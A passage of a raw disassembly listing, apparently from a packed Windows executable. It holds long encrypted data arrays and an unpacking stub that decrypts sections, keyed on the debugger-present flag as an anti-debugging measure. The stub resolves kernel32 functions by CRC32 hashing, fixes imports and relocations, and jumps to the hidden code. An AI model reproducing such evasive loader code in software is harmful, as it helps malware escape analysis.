30187217h, 9C4FD92h, 79B07813h, 0B40F4062h dd 60FBABB0h, 0E61A5F98h, 78793C18h, 8FA54FADh, 0A9F5904Fh dd 26E46160h, 70AE3D4Eh, 67F576DDh, 6A14EE78h, 0E6C86007h dd 1DD85B34h, 24CF72F9h, 6354C069h, 951F0A76h, 99603864h dd 40A45508h, 72ADEBD6h, 1EE0E8CFh, 0B3495BF0h, 5ED8A6F0h dd 0EF5FB124h, 5D00E81Dh, 0E86316CFh, 264E5A07h, 12494D5Ah dd 0BD0F4E50h, 86B01FB4h, 69306123h, 7D5FF261h, 892A5CFAh dd 0F980FBE5h, 7172B845h, 2344993Eh, 648B0C4Fh, 0B55F29DBh dd 72C3216Eh, 0BF6BAF07h, 44B06A5Bh, 0B286EC0Bh, 4678B01Dh dd 67B39C07h, 2F13FE7Ch, 0B5CF457Bh, 1E10306Dh, 3BDF7382h dd 50502C32h, 0FA8639CAh, 4115881h, 0E274ADDFh, 0BA0EC33Bh dd 63CB7EFFh, 6FAF2C2Ah, 0D7495482h, 0E3803A94h, 7227BF67h dd 9D585AEFh, 0DC002C96h, 7BB6FC40h, 0D043473Eh, 0A1B71C07h ; --------------------------------------------------------------------------- loc_469C00: ; CODE XREF: DMN1:0046BBFDj push ebx push ecx push edx push esi push edi push ebp mov eax, 4000h mov ecx, 1000h loc_469C10: ; CODE XREF: DMN1:00469C22j xor eax, ebx sub eax, 0B0B1560Dh add ax, cx ror eax, 7 add eax, 0DEADC0EDh loop loc_469C10 cld call $+5 pop eax mov ebp, eax sub ebp, 2Ah sub eax, 68C2Ah lea esi, [eax+40B81h] mov [ebp+2CAh], esi lea eax, [eax-1000h] mov [ebp+2A6h], eax mov edi, [esi+3Ch] add edi, esi mov [ebp+2B2h], esi mov [ebp+2B6h], edi pusha call sub_469F18 popa mov eax, [ebp+2A6h] mov edx, [eax+3Ch] add edx, eax mov eax, [edx+28h] add eax, [ebp+2A6h] mov [ebp+2BEh], eax mov eax, [edx+50h] mov [ebp+2C2h], eax mov edx, [ebp+304h] mov [ebp+2BAh], edx mov eax, [ebp+2A6h] mov [ebp+2AAh], eax sub eax, [ebp+300h] mov [ebp+2AEh], eax mov ecx, [ebp+30Ch] mov esi, [ebp+2B2h] mov edi, [ebp+2AAh] push edi loc_469CBF: ; CODE XREF: DMN1:00469CCDj lodsb push ecx mov ecx, large fs:30h sub al, [ecx+2] pop ecx stosb loop loc_469CBF pop edi mov eax, [edi+3Ch] add edi, eax mov [ebp+2B6h], edi mov eax, edi movzx edx, word ptr [eax+6] mov ebx, eax add ebx, 0F8h loc_469CE9: ; CODE XREF: DMN1:00469D1Ej xor eax, eax mov edi, [ebx+0Ch] cmp edi, eax jz short loc_469D1A mov ecx, [ebx+10h] jecxz short loc_469D1A mov esi, [ebx+14h] cmp esi, eax jz short loc_469D1A add esi, [ebp+2B2h] add edi, [ebp+2AAh] loc_469D0A: ; CODE XREF: DMN1:00469D18j lodsb push ecx mov ecx, large fs:30h add al, [ecx+2] pop ecx stosb loop loc_469D0A loc_469D1A: ; CODE XREF: DMN1:00469CF0j ; DMN1:00469CF5j ... add ebx, 28h dec edx jnz short loc_469CE9 mov eax, [ebp+2AAh] mov [ebp+2B2h], eax mov ecx, [ebp+2FCh] jecxz short loc_469D3C add ecx, eax mov dword ptr [ecx], 0 loc_469D3C: ; CODE XREF: DMN1:00469D32j mov esi, [ebp+2B6h] mov ecx, [esi+0A4h] jecxz short loc_469D8D mov ecx, [esi+0A0h] jecxz short loc_469D8D mov esi, [ebp+2AAh] add esi, ecx loc_469D5A: ; CODE XREF: DMN1:00469D6Bj ; DMN1:00469D8Bj lodsd or eax, eax jz short loc_469D8D add eax, [ebp+2AAh] mov edx, eax lodsd sub eax, 8 jz short loc_469D5A mov ecx, eax shr ecx, 1 loc_469D71: ; CODE XREF: DMN1:loc_469D89j lodsw test ah, 30h jz short loc_469D89 and eax, 0FFFh add eax, edx mov ebx, [eax] add ebx, [ebp+2AEh] mov [eax], ebx loc_469D89: ; CODE XREF: DMN1:00469D76j loop loc_469D71 jmp short loc_469D5A ; --------------------------------------------------------------------------- loc_469D8D: ; CODE XREF: DMN1:00469D48j ; DMN1:00469D50j ... mov edx, [ebp+308h] add edx, [ebp+2AAh] mov [ebp+2A2h], edx mov esi, [ebp+2B6h] mov esi, [esi+80h] or esi, esi jz loc_469E44 add esi, [ebp+2AAh] loc_469DB9: ; CODE XREF: DMN1:00469E3Fj mov eax, [esi+0Ch] or eax, eax jz loc_469E44 push esi add eax, [ebp+2AAh] cmp byte ptr [eax], 0 jz short loc_469E3A push eax call dword ptr [ebp+4ADh] or eax, eax jz loc_469E97 mov esi, [esp] push eax mov edi, [esi+10h] or edi, edi jz short loc_469E3A mov eax, edi add edi, [ebp+2AAh] mov edx, [esi] or edx, edx jnz short loc_469DFA mov edx, eax loc_469DFA: ; CODE XREF: DMN1:00469DF6j add edx, [ebp+2AAh] loc_469E00: ; CODE XREF: DMN1:00469E38j mov eax, [edx] or eax, eax jz short loc_469E3A bt eax, 1Fh jnb short loc_469E13 and eax, 0FFFFh jmp short loc_469E1C ; --------------------------------------------------------------------------- loc_469E13: ; CODE XREF: DMN1:00469E0Aj add eax, [ebp+2AAh] add eax, 2 loc_469E1C: ; CODE XREF: DMN1:00469E11j push edx push eax push dword ptr [esp+8] call dword ptr [ebp+4B6h] or eax, eax jz short loc_469E97 pop edx mov [edi], eax mov eax, 4 add edi, eax add edx, eax jmp short loc_469E00 ; --------------------------------------------------------------------------- loc_469E3A: ; CODE XREF: DMN1:00469DCEj ; DMN1:00469DE8j ... pop eax pop esi add esi, 14h jmp loc_469DB9 ; --------------------------------------------------------------------------- loc_469E44: ; CODE XREF: DMN1:00469DADj ; DMN1:00469DBEj mov ecx, [ebp+2AAh] mov eax, [ebp+2A2h] mov [esp+1Ch], ecx cld pusha mov edi, [ebp+2BEh] or edi, edi jz short loc_469E86 mov ecx, [ebp+2A2h] jecxz short loc_469E7C mov al, 0B8h stosb mov eax, ecx stosd mov eax, 0FFh stosb mov eax, 0E0h stosb jmp short loc_469E86 ; --------------------------------------------------------------------------- loc_469E7C: ; CODE XREF: DMN1:00469E66j mov al, 0C2h stosb mov eax, 0Ch stosw loc_469E86: ; CODE XREF: DMN1:00469E5Ej ; DMN1:00469E7Aj popa pop ebp pop edi pop esi pop edx pop ecx pop ebx cld or eax, eax jz short locret_469E94 jmp eax ; --------------------------------------------------------------------------- locret_469E94: ; CODE XREF: DMN1:00469E90j retn 0Ch ; --------------------------------------------------------------------------- loc_469E97: ; CODE XREF: DMN1:00469DD9j ; DMN1:00469E2Aj mov eax, 1 jmp dword ptr [ebp+4C8h] ; --------------------------------------------------------------------------- dd offset sub_407AA0 align 4 dd 2 dup(40h), 0 a@a@: unicode 0, <@€@> dw 0B000h dd 0D7660002h, 0F0000046h, 6, 1B810000h, 44h, 0Ch dup(0) dd 400000h, 2B000h, 7AA0h, 400h, 26600h, 0 ; =============== S U B R O U T I N E ======================================= sub_469F18 proc near ; CODE XREF: DMN1:00469C5Fp var_4 = dword ptr -4 mov eax, large fs:30h movzx ebx, byte ptr [eax+2] add eax, ebx mov eax, [eax+0Ch] mov edx, [eax+0Ch] push edx lea eax, [ebp+471h] push eax push large dword ptr fs:0 mov large fs:0, esp loc_469F40: ; CODE XREF: sub_469F18+9Dj mov edx, [esp+0Ch+var_4] mov eax, [edx+18h] mov ebx, eax mov eax, [eax+3Ch] add eax, ebx mov ecx, [eax+78h] jecxz short loc_469FAB cmp dword ptr [eax+7Ch], 0 jz short loc_469FAB add ecx, ebx mov esi, [ecx+0Ch] or esi, esi jz short loc_469FAB add esi, ebx mov eax, [esi] or eax, 20202020h mov [ebp+498h], eax mov eax, [esi+4] or ax, 2020h mov [ebp+49Ch], eax mov eax, [esi+8] or eax, 202020h mov [ebp+4A0h], eax mov byte ptr [ebp+4A4h], 0 lea esi, [ebp+498h] mov edi, 0Dh call sub_46A0E7 cmp eax, [ebp+494h] jz short loc_469FB7 loc_469FAB: ; CODE XREF: sub_469F18+39j ; sub_469F18+3Fj ... mov edx, [esp+0Ch+var_4] mov edx, [edx] mov [esp+0Ch+var_4], edx jmp short loc_469F40 ; --------------------------------------------------------------------------- loc_469FB7: ; CODE XREF: sub_469F18+91j mov [ebp+47Ch], ebx mov esi, [ebx+3Ch] add esi, ebx mov esi, [esi+78h] add esi, ebx add esi, 1Ch lodsd add eax, ebx mov [ebp+480h], eax lodsd add eax, ebx mov [ebp+484h], eax lodsd add eax, ebx mov [ebp+488h], eax sub esi, 10h lodsd mov [ebp+48Ch], eax xor edx, edx mov [ebp+490h], edx lea eax, [ebp+4A8h] loc_469FFD: ; CODE XREF: sub_469F18+110j ; sub_469F18+146j mov esi, [ebp+484h] add esi, edx mov esi, [esi] add esi, [ebp+47Ch] push eax push edx movzx edi, byte ptr [eax+4] call sub_46A0E7 xchg eax, ebx pop edx pop eax cmp ebx, [eax] jz short loc_46A02A add edx, 4 inc dword ptr [ebp+490h] jmp short loc_469FFD ; --------------------------------------------------------------------------- loc_46A02A: ; CODE XREF: sub_469F18+105j shr edx, 1 add edx, [ebp+488h] xor ebx, ebx mov bx, [edx] shl ebx, 2 add ebx, [ebp+480h] mov ecx, [ebx] add ecx, [ebp+47Ch] mov [eax+5], ecx add eax, 9 xor edx, edx mov [ebp+490h], edx lea ecx, [ebp+4E7h] cmp eax, ecx jb short loc_469FFD mov esp, large fs:0 pop eax mov large fs:0, eax pop eax pop eax retn sub_469F18 endp ; --------------------------------------------------------------------------- mov eax, [esp+8] mov esp, eax jmp loc_469FAB ; --------------------------------------------------------------------------- dd 77E60000h, 77E82168h, 77E82FE8h, 77E83E68h, 3A0h, 0 aHfKernel32_dll db '>hf<kernel32.dll',0 align 4 dd 4134D1ADh, 0E805D80Dh, 0C97C1F77h, 0A5FD0FFFh, 890E77E7h dd 0A0D4402h, 8177E798h, 0C40F571h, 77E75CB5h, 335DDFDCh dd 0E7339C0Dh, 0FFFB1477h, 0F0440DF3h, 0D4BB77E7h, 9A0F79C3h db 16h, 0E6h, 77h ; =============== S U B R O U T I N E ======================================= sub_46A0E7 proc near ; CODE XREF: sub_469F18+86p ; sub_469F18+FBp push ebx push ecx push edx push esi push edi cld xor ecx, ecx dec ecx mov edx, ecx push ebx loc_46A0F3: ; CODE XREF: sub_46A0E7+35j xor eax, eax xor ebx, ebx lodsb xor al, cl mov cl, ch mov ch, dl mov dl, dh mov dh, 8 loc_46A102: ; CODE XREF: sub_46A0E7+2Ej shr bx, 1 rcr ax, 1 jnb short loc_46A113 xor ax, 8320h xor bx, 0EDB8h loc_46A113: ; CODE XREF: sub_46A0E7+21j dec dh jnz short loc_46A102 xor ecx, eax xor edx, ebx dec edi jnz short loc_46A0F3 pop ebx not edx not ecx mov eax, edx rol eax, 10h mov ax, cx pop edi pop esi pop edx pop ecx pop ebx retn sub_46A0E7 endp ; --------------------------------------------------------------------------- db 58h, 0E7h, 88h dd 9DF279F0h, 0D1CC315h, 0B0C60E65h, 738FA60Dh, 91F9587Ah dd 98EE2B4Ah, 0A3F797F1h, 853FCC68h, 785C3A2Dh, 6FDDCD99h dd 0F99C28C2h, 6EB9C086h, 8F50C973h, 8DA2CB4Eh, 8DC9EDEEh dd 41409C57h, 0F4D3A199h, 9B947003h, 933CC3B9h, 0C470CEF8h dd 0CB61A9h, 508236AAh, 2721AE7Fh, 0DF58483Eh, 94CEDE92h dd 0BA12CAF4h, 0B1039356h, 8B9EC765h, 8AAE33C8h, 53EE88C5h dd 70A3E5C6h, 0CD57F1BEh, 703AB179h, 0C162F35Eh, 2F1A2DD1h dd 3F0D3585h, 48A22FE6h, 0E20D1C48h, 51C994EEh, 3F42252Ch dd 81F7A766h, 0D66B6E35h, 0A3035D0h, 700D24C9h, 1CA7A136h dd 0A35D25BBh, 0F06681A1h, 7F5258Eh, 0E4A78B2h, 6FF49C7h dd 3433A81h, 6C5E25E4h, 31DDDFC9h, 0F122054Ah, 6B9EE9DCh dd 839EF761h, 0EE23AD1Dh, 8FB6E89h, 6EAA8C35h, 0A878CC18h dd 564C02B8h, 74CC0F10h, 929BBE8Eh, 0B201C704h, 6ACE877Bh dd 0BEE63DC8h, 8B284526h, 77C0EC16h, 2B2365F8h, 87DC93E0h dd 2B17E519h, 93B7CBA1h, 35B1C87Dh, 0A089D678h, 7B7B03ADh dd 751CDCB3h, 0A0EE0FFFh, 9A56CC04h, 6BB85F46h, 0FCF3A56Fh dd 470FCDB4h, 7629AC3Dh, 7E437055h, 0F392A9C3h, 6E2ED93Ch dd 0E5E83781h, 0F713D692h, 0F367B8E5h, 4713E85Ah, 0C46279E9h dd 0DD905B38h, 0B71FE741h, 4B9CB5E3h, 0F53716F5h, 74276C63h dd 0AA058E9Bh, 9E5051C6h, 0E297798h, 8ABAD528h, 0A3D32686h dd 4E289A06h, 0C2D43178h, 28940926h, 7BFE5452h, 209B3510h dd 983ED0F8h, 0A90645A4h, 43C67892h, 0F0874869h, 45DF1660h dd 0EB93AF4h, 9F013887h, 75D151A5h, 0AB0EF5F5h, 0CD637E45h dd 83F4496Fh, 5D099FFDh, 70608337h, 7EB56431h, 910304h dd 0EE92592Ch, 0DB626D19h, 0E52295D8h, 0E0403030h, 240AF54Ch dd 811DD567h, 9C8FC514h, 43183D34h, 0E2CD8943h, 3C1648A9h dd 0AF958E58h, 597502E2h, 0BC277684h, 6BBBC262h, 3848C49Ah dd 0D2FC8832h, 52AC1D43h, 0CCAC1BCEh, 0D951FAC3h, 2DE85EB9h dd 874CDAACh, 0A6A3E80Bh, 2207EB08h, 7852122Ch, 93D9FF28h dd 7BF4EF4Bh, 0EA34DDB9h, 0C7349730h, 31398B43h, 29F15EEBh dd 8EF37249h, 4E233532h, 0C3FA3FFBh, 4166B7F0h, 9FD317C5h dd 3E32F36h, 7057E2D0h, 174DEB4Ah, 0D3F2E550h, 0C738BCE3h dd 0B7924606h, 0A1C98696h, 74ADB70Ah, 15B53D1Dh, 343F3AD7h dd 0EAFDB2ECh, 0DF842867h, 9B48FA63h, 89105879h, 6B31122Dh dd 71E2A05Ah, 5058F23Fh, 33866B3h, 0E867F5FAh, 45A17565h dd 0F9C6F8EFh, 0F39146E7h, 805E1F4Dh, 0BF63CD6Eh, 0F129B48Ch dd 51F79AA4h, 0C639E1C3h, 152E0469h, 0A77C6A5Ch, 600573ABh dd 0E299A87Dh, 35084E4Fh, 0F333B098h, 50D34A59h, 9C411529h dd 0E928A1CEh, 303F289Ch, 825F24F6h, 7899DEBh, 45AC7146h dd 6C308F12h, 0D2FB4C78h, 0CA14686Fh, 820D6D56h, 0A2DF44FFh dd 3BEB901Fh, 0C06828Ah, 79E58392h, 1CEAA794h, 0E514EBAh dd 9FA5A257h, 0B3A7DD11h, 0F77C5E2h, 601AB174h, 0C3F3AB3Fh dd 674DDF1Bh, 21426531h, 0D192BB2Eh, 931D5FF8h, 8ABF64B2h dd 58EE12FCh, 0CDCD0733h, 4DF111CAh, 2CD5EAE6h, 23981236h dd 3E8E729Eh, 0A3CB6239h, 323DDD79h, 0C843B5D4h, 0E9B0AF1Fh dd 2E80C705h, 0B6314A67h, 9902DA49h, 0A17B3B72h, 444457A7h dd 0FE67374Bh, 502C2EA4h, 149D0529h, 2A22EEE7h, 2BADDD3Ah dd 71B0B099h, 0ECD2411h, 44E4B224h, 651AB3F2h, 0AA805E7Fh dd 0EDCC483Ah, 46CCCB5Ah, 0C90E55CEh, 0EDE3F90Dh, 5B92D219h dd 0BB8556DCh, 0D0A68640h, 534F6AC4h, 857043FFh, 4D3F1C18h dd 0E353AFEEh, 50FE8E9Fh, 0F39CFC7Ch, 82462FA5h, 15560513h dd 2FE9A330h, 7A84831Bh, 3A1B7DB0h, 0B3D1568Bh, 63BD4950h dd 922F971Ch, 0C9A70F55h, 0D532B55Ch, 6B858E55h, 0DA76031Dh dd 0B6403860h, 788C3819h, 75ADCF81h, 6AE5FE63h, 0BAD2BEA8h dd 96B2C855h, 0CA8F609h, 991C7E8Ah, 6CEF07F4h, 0D203E4FDh dd 0F623E8D6h, 35322D34h, 63749DC5h, 0D8ACE27Ch, 0F816B11Bh dd 1AFC5C8Eh, 3389C783h, 0F8E63AF9h, 76608858h, 0EB6503F6h dd 43EA1C89h, 0FF2B9BDAh, 0AEDC59F0h, 94C7C591h, 86E870DAh dd 94B7C3FDh, 8027FF7Eh, 92209088h, 0CF8DE07Ah, 9399B0F0h dd 2465AAC4h, 55D5F3EFh, 2FBC0284h, 6BEC299Dh, 15F53C4h dd 0B3EB008h, 114E52F6h, 5382896Eh, 0E6045074h, 39541E75h dd 41643634h, 0EF42EB3Eh, 0D722E974h, 0A29125FDh, 78E5B0E2h dd 0B56BD89Ah, 0B0841686h, 742CFA1Bh, 30F2615Dh, 5AF80E9Fh dd 0C5090C04h, 130A3F66h, 9B35FF96h, 0C411C198h, 812B8909h dd 0E5E899B2h, 14ED4908h, 97FE800Dh, 470F1B4Dh, 1341C9BAh dd 9946F488h, 90DF9977h, 1532A22Fh, 0A8D9BA00h, 0E00DC0E4h dd 0A010B82Dh, 0E38F25C6h, 0F633002Bh, 0A6C5874Ah, 1FA9CF44h dd 758C012Eh, 6B27E086h, 5FB01D1Ah, 45E50DCBh, 838F8AD8h dd 0AA46D686h, 7F110D78h, 954A98F5h, 50561776h, 0BEBCA8EBh dd 685B2F34h, 0A79C3F6Ch, 9CE13145h, 74F90716h, 6544E21Ah dd 381F2AE6h, 0C79A1710h, 21FE3662h, 9A0AF933h, 3FE2C473h dd 9A621EF6h, 75ACB560h, 21F417C4h, 3853C1AFh, 304602DFh dd 0D7FD7BE7h, 0BAC4AF65h, 0E19D94F0h, 0A31610F7h, 0FA1F4053h dd 71832078h, 0F8A67E13h, 34EA5DC6h, 0D054D804h, 346A3CEAh dd 12F4B3EFh, 0B42D24CFh, 32360DA5h, 3CEEDB5h, 0BE6027DFh dd 0F689D436h, 0DB7440BBh, 336F8FAAh, 0C6DBDD6Ch, 933EF57Fh dd 0BB8874ADh, 0B7BB66D6h, 29847C3Eh, 0BAFE54D4h, 7DFAE895h dd 0BD4B59A5h, 63FECB26h, 0CF9EE9D4h, 9A21EDBEh, 55FE4892h dd 0EEE4CB51h, 283DF4EEh, 6C66471Bh, 76994B7Ah, 0C142AF8Ch dd 0A82FB594h, 490B9D10h, 0B8DE632Ch, 0E5374526h, 0C702EF71h dd 0F9A1636Ah, 40B945B4h, 164933E8h, 0A9D6BEh, 6F7A36FBh dd 36751BF0h, 0BB58074Dh, 93DABEB8h, 0E010F59h, 8703908Eh dd 0B6D837D5h, 0B1F4A52Bh, 0AC76FD5Dh, 9D8349F9h, 5E2EC0EAh dd 125F058Eh, 906CBC04h, 29A0A34h, 0D9CAACCEh, 2ECD67D4h dd 0C9E4CBFBh, 0C574C191h, 1773AF83h, 0AEC584DAh, 0A22A538Dh dd 37F80C3Ah, 0FD659781h, 0A830B08Eh, 95C0DBh, 938C0253h dd 43E933C5h, 2F68B5F9h, 569A449Eh, 9ADE9999h, 0E6FF871Ah dd 37D98322h, 9E08E26Dh, 0E09C7ED8h, 9D24E346h, 0F6843F45h dd 5FAA1C0Eh, 0FC603692h, 9B500D76h, 407C66AEh, 0BF6DA16Bh dd 0A7866A52h, 0A7F46F3Fh, 95EE6737h, 49B245B4h, 8BD51AF5h dd 9BEAB190h, 200F5F93h, 5745000Ah, 0EFFE3C46h, 143E88C3h dd 290F35A9h, 418197BFh, 769B5995h, 4834BFA9h, 14A77070h dd 4EE798B3h, 19D63B8Fh, 86E4063Dh, 0B1B8CCD2h, 43978A29h dd 541D8F69h, 95FB5D7Ah, 3BC0FD24h, 1249A04Dh, 5A7FC5C4h dd 49162E15h, 11F76913h, 9BAAA0AAh, 19A2D068h, 679A13FEh dd 271BC26Ah, 2BD935CEh, 0E0A639EBh, 0FC18242Fh, 4FF038F5h dd 5F128C48h, 0BF58647h, 21F8231Dh, 0A8CD5C44h, 0D344641Fh dd 4522B287h, 9EA4A660h, 0FFFCBD99h, 190410C2h, 0C27F499Dh dd 0F889B252h, 3F62D022h, 42F9860Dh, 0CFC593B8h, 4DB04C99h dd 27787E13h, 8278BC48h, 944CC18Eh, 73876787h, 0FB348511h dd 0F9CE32AAh, 4C683B00h, 683E8896h, 57372E8Fh, 0E2DDCEACh dd 5BD2266Bh, 0F3E7CA9h, 0AEA314AFh, 0B816EC9Bh, 631256Bh dd 0F9611B2Ah, 0EE0B75D9h dd 81BA8C7Ch, 7AF362h, 7555725Eh, 754498D6h, 52DB8676h dd 0BBBBBE74h, 228AC879h, 0BE8E8DDCh, 5A58C16h, 5157569Dh dd 9F944A2h, 0CBB2AC08h, 951A1D04h, 0A864A341h, 0E2462EAEh dd 191E3929h, 0E5CD8BDAh, 0A9980DA6h, 55402614h, 45CB2920h dd 7289B524h, 48556645h, 0AACCA86Ah, 682368D0h, 7D359D15h dd 0AB9430BCh, 3E95E211h, 97617554h, 2F020F91h, 216FD3ADh dd 1DD34B1h, 6848CCD3h, 29D4A21Fh, 0F1106998h, 0CD847179h dd 5D12B983h, 116862D0h, 0CE37CC2h, 256D5054h, 0DD325AB5h dd 0B6822BEh, 3C85EE48h, 0B711E3C2h, 87562A9Bh, 696090A7h dd 0C1415900h, 7997A2EDh, 9AA51A41h, 4FF2906h, 1C43E27Bh dd 88AD51F9h, 1909E564h, 4F3B0439h, 86E8471Bh, 0EF584865h dd 50A73AFCh, 0D3EF818Ah, 0E1C56BF1h, 2C83C086h, 8E1D875Ah dd 57C952F4h, 0A3D82422h, 23D21F66h, 5F8DBA33h, 0C1A087E4h dd 0C5331A56h, 1F5E44F9h, 116B5747h, 23FD8E21h, 44DAC92h dd 6AE8F616h, 0DC3484C5h, 0FA5A03B1h, 62E093E7h, 0AA273A8Fh dd 6BA5E376h, 0AE5651C1h, 0E09CA145h, 22133194h, 0FE91D201h dd 946A3B06h, 50BF08F6h, 5F84B55Bh, 86ECD9B7h, 3B45086Fh dd 89D67B3Ch, 27861B05h, 10BB4238h, 0B0E57DFEh, 0AC02DB13h dd 8FAA0720h, 1D8D086Eh, 0E8A87CA2h, 0D19AD8BAh, 493588D4h dd 0C1A4878Fh, 90EB4171h, 9E443784h, 0BC84E07h, 0A1450791h dd 7FF1DB64h, 11F85C78h, 3E25092Dh, 0BCEAEB33h, 0A14C16CDh dd 0E2FDC05h, 0DC325BA9h, 9CD53CCBh, 2A744658h, 0BD46CB1Dh dd 6A2C8217h, 894C2E82h, 335A2F97h, 5B1D1F59h, 0CCB6C2AEh dd 7AB62488h, 0ACB5A159h, 65D1C22Eh, 0FC7FD3A4h, 0D99FAE30h dd 920BA589h, 0B0D3B36Dh, 5D3C8075h, 54924E12h, 0F4A20981h dd 88D65246h, 95B30E9Eh, 0E9D05C02h, 9A7E5C3Bh, 30D769EBh dd 7B3E8748h, 0BB875275h, 9384996h, 0C16BFCCDh, 6B4736E3h dd 0E1DF6BA1h, 4C5D84CCh, 1E65FDE3h, 478734F7h, 7C39B96Ah dd 0B8DA8CC9h, 0A45CADD0h, 411FD061h, 50C16393h, 0FD153DA0h dd 2743C0F7h, 0AAD9753Ah, 0F74201B9h, 235F4D3Ch, 0FA907BDCh dd 423E1C97h, 56F54CA9h, 668D6249h, 2BFA636Bh, 0FF7C67B9h dd 0BB4A2D4Fh, 0CAA41590h, 0A75BFD71h, 0FD543BF8h, 0B2016CF3h dd 1539A0C5h, 2FB51AE9h, 50F0ECCCh, 0ABF9EB13h, 5694A423h dd 2F85D714h, 2CAA3D74h, 1F41027Eh, 4A0CEFDBh, 1B53EF62h dd 0C2AB1EAEh, 949C7C06h, 45D9721h, 1EACB0EDh, 6194B3E9h dd 5D3F87D2h, 250B8A8Dh, 0FB92938Ah, 147281B0h, 733EAB4Ah dd 6F312AD2h, 0C27F5860h, 9CD53A99h, 4771A4E5h, 0CB927374h dd 8B62DF7Bh, 0E8EF155Bh, 653EA82Bh, 2E91D296h, 39F2F7F1h dd 0EB251F6Dh, 4062B634h, 19CD937Ch, 0C3400209h, 82542171h dd 0A8510E23h, 0C4EEA175h, 0A6922496h, 373C44A0h, 0B66FBDBh dd 3630A5BFh, 50E7A03Ah, 225C034Ch, 0A3414C79h, 0A5D64576h dd 98F7190Fh, 369A856Bh, 96C2F65Bh, 0D159811Ch, 0E0931036h dd 0EB21A169h, 0C61070C9h, 1D7D81D6h, 97C899C3h, 84D51E71h dd 599B8FA0h, 8CA43F4h, 3A478499h, 70EE139h, 8113C561h dd 399FA6CAh, 9B34D95Bh, 88AE3424h, 8DA614DCh, 0AB3B8493h dd 0DA6D5A2Fh, 488CBF98h, 433DB0CBh, 7ADD8C83h, 0A8E43453h dd 2F4E8F82h, 0A6118FFh, 0A9AE7E7Fh, 21D9F3AEh, 0ED726FCDh dd 3C337618h, 66E72C3h, 4DCB2292h, 6F00DDB0h, 78632ABBh dd 0C8A98405h, 7E36D44Fh, 4A22595Ch, 4B813D19h, 0C83DCBA9h dd 4B876BABh, 3FD7B34Dh, 0DE5C542h, 0C78E623Dh, 5F440A7Fh dd 5213BD04h, 175403EAh, 0F086951Eh, 5F716EE6h, 0C071A9A0h dd 0F854B882h, 0FFD56ABEh, 16635ADDh, 4425AF3Ch, 7EC6B8BEh dd 21AAEBBDh, 0F91693D4h, 51EA9FC4h, 0EE7A161Dh, 64E72764h dd 7144F312h, 3E8D6777h, 6E195D3Ch, 59981205h, 0FBB3E4CCh dd 2AD91CEFh, 32F697DDh, 9F561815h, 74654E21h, 0D73B664h dd 607BEE5Ch, 881651F1h, 8D8A658Ah, 0F25E516Ch, 8722BBBEh dd 5595038Fh, 0B8C8FB1Eh, 0AAF91D99h, 0A969BC29h, 0A1D3EE35h dd 0F4A4D55Eh, 0CB83DD41h, 0E2D1286h, 66DEE831h, 0E1968D6Dh dd 78260512h, 7EAC2CC0h, 81D994ABh, 351275AEh, 1F9C869Fh dd 3779A61Ch, 67D75D1h, 0EA93F468h, 4101AA13h, 4D1389CFh dd 52824564h, 1C2F34D2h, 0F45724E0h, 0F9A9C9B5h, 0B655D8D4h dd 0E181822Ch, 2A370341h, 9F84FF8Ch, 515C320Ah, 0AAE5E6ADh dd 9DC68B6Eh, 9A229F07h, 9925B873h, 14C44333h, 0B03C415Ch dd 5889881h, 99453997h, 59B6835Ah, 91FDCA7Ah, 97FA408h dd 0FE5E80FFh, 0D8B682DFh, 0A559ADD0h, 3130839Dh, 0C4FBEFF9h dd 0C9EEBB3Ch, 0D799E06Ch, 40983D10h, 50C93007h, 2F3C6B72h dd 2D38A81Eh, 1E34E7F7h, 518BD974h, 38B87551h, 0AF086FC8h dd 2DD10846h, 4D3DF70Ch, 3D5E8BF2h, 3196AC0Eh, 0D61A750Ch dd 847436BAh, 784AEC24h, 9AE7003Fh, 8EE67EBEh, 0BCF38063h dd 10233656h, 0C8892ABh, 38FF73Bh, 0D0E95F31h, 0FBFF80A5h dd 34D71DCCh, 9F521301h, 9C821512h, 0DF917019h, 3F26698Ah dd 5EB3D54h, 39BB4F22h, 3729Ah, 7A72FB62h, 2BD7FD0Ch, 0B3FEC3C3h dd 4AFDE8ACh, 0D3CE5B99h, 0DDC7085h, 37B88C44h, 2C8BB584h dd 35DE00B7h, 0BFB7AA0Fh, 27B6DCF2h, 0ADEB4A91h, 0C1278C9Eh dd 0F08659DBh, 0CB6479E7h, 59B8695Dh, 8C30768Bh, 70E50503h dd 0D56CA09Ch, 56BEE639h, 0BD02DE66h, 0F8DFE5E8h, 0BE715A9h dd 93AC0E4Bh, 0E012DB5h, 8CD5C2A0h, 8F9F57F7h, 0B744C0A0h dd 975CB3F0h, 0ED0CD0EFh, 2DB0D06Bh, 0C3713D8Bh, 12CA7417h dd 895F8BC6h, 1EB160A6h, 78F27F81h, 3E8A26Bh, 0A535E0BDh dd 6810FB55h, 0D29744A7h, 0BAA940EDh, 5B03FFFDh, 35EF22E0h dd 0CC07DC01h, 3538EE44h, 64CD1FD7h, 407AA485h, 56C84BE8h dd 0D91F6260h, 58319FBAh, 860B50EAh, 54F98A83h, 51BB822Fh dd 0F9314D41h, 0AFDB7685h, 1803766Eh, 288980Ah, 82FDEA2Fh dd 28EF734Ah, 0B864AF7Bh, 0E7F041FBh, 8B78B2E9h, 0BE747874h dd 2B12398Ah, 0D08E7D9Ch, 24BB6863h, 0CFE56501h, 0E6B31C30h dd 0E8DA521Ah, 0B2DE70CAh, 485F588Ch, 0B13B190Dh, 4DEE7779h dd 0BA4CEF0Eh, 0DE4E9016h, 0BAD7AB74h, 9B0A33FCh, 6835C1B5h dd 0BDC026FBh, 7E6DEC9Bh, 26751D3Dh, 1E2ABFEDh, 0EFE7D985h dd 99663C59h, 0B6FFE349h, 10943276h, 0ECC39E91h, 755B64FDh dd 75693268h, 5026AE28h, 93B50CA6h, 4D07BCB9h, 89E15D59h dd 25162AC3h, 337F84B0h, 0F2D5BF7Eh, 71324CC0h, 0D2C401D1h dd 0A5B800D9h, 97D2665Ch, 0C768E9FFh, 6BE3EA8Fh, 0FF9EFAF5h dd 0C86A0C14h, 10DABE94h, 8C64F611h, 0ADF0485Dh, 39DAF1D9h dd 0BA5EDA44h, 4F8E13F8h, 6CC249B9h, 3A7D7683h, 3AC674DBh dd 0E9F5F85Bh, 19F081EAh, 9ED8404Fh, 94304DB4h, 8C86DE5Dh dd 4ADA8884h, 784FC734h, 2693095Ah, 7F934C3h, 8F70B157h dd 51AE6DD6h, 3ACA1FC9h, 679195C2h, 4336B13Eh, 65710E9Ah dd 930EB870h, 5372F988h, 2C949ABDh, 0BD0635FEh, 5A1C33FFh dd 0F150068Bh, 8D4541C3h, 2F1CD1EBh, 94596346h, 89D93E7Bh dd 0B44198F9h, 